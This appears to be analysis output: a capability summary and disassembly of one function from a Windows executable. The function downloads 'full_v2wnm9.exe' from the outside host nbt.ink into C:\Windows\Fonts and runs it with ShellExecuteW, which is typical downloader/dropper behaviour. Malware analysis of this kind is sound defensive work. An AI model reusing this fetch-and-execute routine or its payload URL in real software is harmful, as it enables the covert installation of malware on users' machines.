Function at 0x1400015b0
Capabilities:
Create process on windows
Download url
Execute command
Receive data
Terminate process

Disassembly:
sub rsp, 0x38
lea rcx, [0x140016c04]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:WindowsFonts_full_v2wnm9.exe
xor ecx, ecx
lea rdx, str.https:__nbt.ink_full_v2wnm9.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x1400016ac
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x140016c08]
call fcn.140001b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x140016c14]
call fcn.140001b40
mov rcx, rax
lea rdx, [0x140001d20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.C:WindowsFonts_full_v2wnm9.exe
mov qword [rsp + 0x20], 0
lea rdx, [0x140016c18]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x140001689
lea rcx, str.mode_15_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140016c04]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Failed_to_open_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001b40
lea rdx, str.C:WindowsFonts_full_v2wnm9.exe
jmp 0x14000170d
lea rcx, [0x140016c04]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mode_15_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Opened_file_successfully:
jmp 0x140001671
lea rcx, [0x140016c04]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mode_15_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.__ne_1m_Failed_to_download_from
call fcn.140001b40
mov rcx, rax
lea rdx, str.https:__nbt.ink_full_v2wnm9.exe
call fcn.140001b40
mov rcx, rax
lea rdx, str._to
call fcn.140001b40
mov rcx, rax
lea rdx, str.C:WindowsFonts_full_v2wnm9.exe
call fcn.140001b40
lea rdx, [0x140016ca0]
mov rcx, rax
call fcn.140001b40
lea rdx, [0x140001d20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [0x140016c04]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.color_26
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3